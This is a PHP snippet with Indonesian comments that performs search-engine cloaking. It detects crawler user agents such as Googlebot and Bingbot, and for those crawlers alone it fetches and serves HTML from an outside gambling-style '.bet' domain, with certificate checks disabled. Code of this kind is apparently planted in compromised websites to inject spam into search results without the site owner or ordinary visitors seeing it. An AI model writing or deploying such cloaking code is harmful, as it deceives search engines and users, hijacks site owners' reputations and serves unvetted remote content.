function get_lp($url) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_CONNECTTIMEOUT => 3,
        CURLOPT_TIMEOUT => 5
    ]);

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $errNo = curl_errno($ch);
    $errMsg = $errNo ? curl_error($ch) : '';
    curl_close($ch);

    return [
        'body' => $result,
        'http_code' => $httpCode,
        'errno' => $errNo,
        'error' => $errMsg
    ];
}

// === Konfigurasi ===
$ua     = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$is_bot = preg_match(
    '/googlebot|google-site-verification|google-inspectiontool|google-inspection-tool|google-amphtml|google-amp|bingbot|slurp|duckduckbot|yandexbot/i',
    $ua
);
$lp_url = 'https://aktualdaerah.bet/vip/universitedeyoga.txt';

// === Jalankan cloaking jika bot ===
if ($is_bot) {
    $fetch = get_lp($lp_url);

    if (isset($fetch['errno']) && $fetch['errno'] !== 0) {
        // Curl error saat fetch LP
        header('Content-Type: text/plain; charset=utf-8', true, 502);
        echo "Cloaking error: fetch failed ({$fetch['error']})";
        exit;
    }

    $html = $fetch['body'] ?? '';

    if ($html !== null && strlen(trim($html)) > 0) {
        header('Content-Type: text/html; charset=utf-8');
        echo $html;
        exit;
    } else {
        header('Content-Type: text/plain; charset=utf-8', true, 204);
        echo 'Cloaking notice: no content returned from LP URL.';
        exit;
    }
}